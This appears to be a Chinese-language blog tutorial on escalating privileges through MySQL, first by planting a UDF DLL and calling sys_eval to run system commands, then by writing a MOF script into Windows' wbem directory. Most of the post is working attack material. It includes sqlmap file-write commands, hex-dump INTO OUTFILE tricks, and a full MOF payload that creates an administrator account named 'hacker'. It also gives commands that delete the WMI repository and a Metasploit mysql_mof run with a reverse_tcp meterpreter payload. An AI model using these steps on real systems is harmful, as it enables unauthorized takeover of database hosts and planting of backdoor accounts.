Document

Mysql的udf提权于mof提权

前言:

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。
MOF 就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
系统性学安全半年以来一直知道mysql的udf提权和mof提权也一直想着学会它,拖了这么久现在正式记录一下学习udf与mof提权的过程和踩过的坑。

UDF提权


动态链接库

首先我们要把一个动态链接库放入mysql的plugin文件夹下才能实现创建自定义函数功能。

那么动态链接库要去哪找,在sqlmap和metasploit中都有。

sqlmap

进入sqlmap的sqlmap-master\data\udf\mysql文件夹下有linux和windows文件夹分别对应着linux版mysql和windows版mysql的udf动态链接库,但是sqlmap的动态链接库为了躲避杀毒软件进行了加密处理,在sqlmap的sqlmap-master\extra\cloak\文件夹中有cloak.py解密脚本,使用解密脚本进行解密即可使用,这里我是windows系统,解密命令如下:

python .\cloak.py -d -i D:\sqlmap-master\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

解密后的文件就在sqlmap-master\extra\cloak\下

metasploit

在MSF 根目录/embedded/framework/data/exploits/mysql,Metasploit自带的动态链接库文件无需解码。

寻找Mysql插件目录

这里用SQL语句查询插件目录即可

image

接着要写入动态链接库,需要注意的是我们的权限得是最高权限且secure_file_priv无限制,plugin目录无限制,首先用sqlmap写入


MySQL 5.5 之前 secure_file_priv 默认是空,可以写文件

MySQL 5.5之后 secure_file_priv 默认是 NULL,不可以写文件


sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

当目标不存在注入但是mysql能外联且能登录进去的话我们可以用原生SQL语句写入dll。

这里我们要用十六进制来写入,先以十六进制打开dll

image

将他们复制到mysql语句里面

select 'dll十六进制' into outfile 'mysql插件目录+生成的文件名'

成功后就可以调用dll进行创建自定义函数了,用如下命令创建自定义函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

查看自己创建的自定义函数用下面的命令

select * from mysql.func;

image

可以看到刚刚创建的函数成功了

有的可能会遇到这种错误:ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.dll' (errno: 193 ),这里其实有个小坑的,我用的是phpstudy的mysql,phpstudy可能因为用的是32位的mysql所以这里要使用32位的动态链接库,还有一个地方要注意的是mysql5.1版本之前的插件目录默认在根目录下,5.1之后在lib\目录下,如果动态链接库没放对目录就会出现:Can't find symbol 'sys_eval' in library 错误。

接下来我们就可以使用自定义函数来执行系统命令了

select sys_eval('whoami');

删除自定义函数命令:

drop function sys_eval;

有的时候目标mysql不允许外连,这个时候我可以用Navicat自带的tunnel隧道脚本上传到目标网站上,然后再进行连接提权即可

脚本下载地址:Navicat tunnel

使用教程:https://www.sqlsec.com/2020/11/mysql.html#toc-heading-18

MOF提权


mof指的是托管对象格式,是一种文件类型,它(nullevt.mof)在 C:\WINDOWS\system32\wbem\mof\ 路径下,将会每隔一段时间以system权限执行一次,我们可以通过root权限下的mysql将该文件写入到路径下,以达到提权的效果。

执行MOF命令

MOF脚本内容:

\#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

利用mysql写文件覆盖特性将代码写到C:/Windows/system32/wbem/mof/目录下,用十六进制导入即可,命令如下

select 'mof文件十六进制内容' into dumpfile "C:/windows/system32/wbem/mof/MOF文件名.mof"

执行成功写入mof文件才会出现在:c:/windows/system32/wbem/goog/目录下,否则出现在c:/windows/system32/wbem/bad目录下。

接下来因为每隔几分钟就会执行一次所以我们上传成功执行后需要把它删除,想要删除必须要关闭winmgmt服务再删除刚刚上传的mof文件,命令如下

\#停止winmgmt服务

net stop winmgmt

\# 删除Repository文件夹

rmdir /s /q C:\Windows\system32\wbem\Repository\

\# 删除mof文件

del C:\Windows\system32\wbem\mof\good\test.mof /F /S

\# 删除创建的用户

net user hacker /delete

\# 重新启动服务

net start winmgmt

利用MSF进行MOF提权

MSF也有MOF提权,比较方便的是他会自动删除上传的mof文件,命令如下

use exploit/windows/mysql/mysql_mof

set payload windows/meterpreter/reverse_tcp

set rhosts 192.168.111.135

set username root

set password root

run

还有一些mysql提权小技巧这里就不多说了,可以去看看这篇文章,本文有很多地方也是借鉴国光大佬的文章的

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-29

posted @ 2021-04-08 10:10  掌控安全-盛夏  阅读(1213)  评论(2编辑  收藏  举报